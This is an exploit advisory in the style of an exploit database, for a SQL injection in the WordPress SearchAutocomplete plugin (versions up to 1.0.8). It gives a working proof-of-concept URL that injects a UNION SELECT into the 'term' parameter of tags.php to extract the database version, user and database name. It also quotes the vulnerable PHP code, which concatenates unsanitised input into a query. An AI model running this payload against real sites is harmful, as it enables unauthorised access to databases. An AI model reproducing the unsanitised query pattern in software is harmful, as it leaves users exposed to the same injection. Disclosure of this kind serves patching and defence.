WordPress Plugin SearchAutocomplete 1.0.8 – SQL Injection
# Exploit Title: WordPress SearchAutocomplete plugin <= 1.0.8 SQL Injection Vulnerability # Date: 2011-09-01 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/search-autocomplete.zip # Version: 1.0.8 (tested) # Note: magic_quotes has to be turned off --- PoC --- http://www.site.com/wp-content/plugins/search-autocomplete/includes/tags.php?term=-1' UNION ALL SELECT CONCAT_WS(CHAR(44),version(),current_user(),database()),2,3,4--%20 --------------- Vulnerable code --------------- if ($_GET['term'] != '') { ... $titles = $wpdb->get_results("SELECT post_title As name, ID as post_id, guid AS url, 1 cnt FROM ".$wpdb->prefix."posts t WHERE post_status='publish' and (post_type='post' OR post_type='page') and post_date < NOW() and post_title LIKE '%".$_GET['term']."%' ORDER BY post_title"); |